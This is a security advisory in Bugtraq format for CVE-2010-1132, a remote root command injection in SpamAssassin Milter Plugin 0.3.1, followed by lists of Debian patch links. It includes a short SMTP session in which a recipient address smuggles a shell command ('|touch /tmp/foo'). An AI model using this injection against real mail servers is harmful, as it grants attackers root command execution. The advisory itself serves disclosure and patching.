SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

Bugtraq ID:	38578
Class:	Input Validation Error
CVE:	CVE-2010-1132
Remote:	Yes
Local:	No
Published:	Mar 07 2010 12:00AM
Updated:	Apr 13 2015 09:16PM
Credit:	Kingcope
Vulnerable:	SpamAssassin Milter Plugin SpamAssassin Milter Plugin 0.3.1 Debian Linux 5.0 sparc Debian Linux 5.0 s/390 Debian Linux 5.0 powerpc Debian Linux 5.0 mipsel Debian Linux 5.0 mips Debian Linux 5.0 m68k Debian Linux 5.0 ia-64 Debian Linux 5.0 ia-32 Debian Linux 5.0 hppa Debian Linux 5.0 armel Debian Linux 5.0 arm Debian Linux 5.0 amd64 Debian Linux 5.0 alpha Debian Linux 5.0
Not Vulnerable:

SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

SpamAssassin Milter Plugin is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with root privileges.

SpamAssassin Milter Plugin 0.3.1 is affected; other versions may also be vulnerable.

SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

An attacker can exploit the issue using readily available tools.

The following example commands are available:

$ nc localhost 25
220 ownthabox ESMTP Postfix (Ubuntu)
mail from: me () me com
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foo"
250 2.1.5 Ok

SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

Solution:
Updates are available. Please see the references for more information.


Debian Linux 5.0 alpha

• Debian spamass-milter_0.3.1-8+lenny1_alpha.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_alpha.deb


• Debian spamass-milter_0.3.1-8+lenny2_alpha.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_alpha.deb

Debian Linux 5.0 amd64

• Debian spamass-milter_0.3.1-8+lenny1_amd64.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_amd64.deb


• Debian spamass-milter_0.3.1-8+lenny2_amd64.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_amd64.deb

Debian Linux 5.0 ia-32

• Debian spamass-milter_0.3.1-8+lenny1_i386.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_i386.deb


• Debian spamass-milter_0.3.1-8+lenny2_i386.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_i386.deb

Debian Linux 5.0 hppa

• Debian spamass-milter_0.3.1-8+lenny1_hppa.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_hppa.deb


• Debian spamass-milter_0.3.1-8+lenny2_hppa.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_hppa.deb

Debian Linux 5.0 mips

• Debian spamass-milter_0.3.1-8+lenny2_mips.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_mips.deb

Debian Linux 5.0 ia-64

• Debian spamass-milter_0.3.1-8+lenny1_ia64.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_ia64.deb


• Debian spamass-milter_0.3.1-8+lenny2_ia64.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_ia64.deb

Debian Linux 5.0 s/390

• Debian spamass-milter_0.3.1-8+lenny1_s390.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_s390.deb


• Debian spamass-milter_0.3.1-8+lenny2_s390.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_s390.deb

Debian Linux 5.0 arm

• Debian spamass-milter_0.3.1-8+lenny1_arm.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_arm.deb


• Debian spamass-milter_0.3.1-8+lenny2_arm.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_arm.deb

Debian Linux 5.0 mipsel

• Debian spamass-milter_0.3.1-8+lenny1_mipsel.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_mipsel.deb

Debian Linux 5.0 powerpc

• Debian spamass-milter_0.3.1-8+lenny1_powerpc.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_powerpc.deb


• Debian spamass-milter_0.3.1-8+lenny2_powerpc.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_powerpc.deb

Debian Linux 5.0 armel

• Debian spamass-milter_0.3.1-8+lenny1_armel.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_armel.deb


• Debian spamass-milter_0.3.1-8+lenny2_armel.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_armel.deb

Debian Linux 5.0 sparc

• Debian spamass-milter_0.3.1-8+lenny1_sparc.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny1_sparc.deb


• Debian spamass-milter_0.3.1-8+lenny2_sparc.deb
  http://security.debian.org/pool/updates/main/s/spamass-milter/spamass- milter_0.3.1-8+lenny2_sparc.deb

SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

References:

• SpamAssassin Milter Plugin Homepage (SpamAssassin Milter Plugin)
  
• Spamassassin Milter Plugin Remote Root (Kingcope)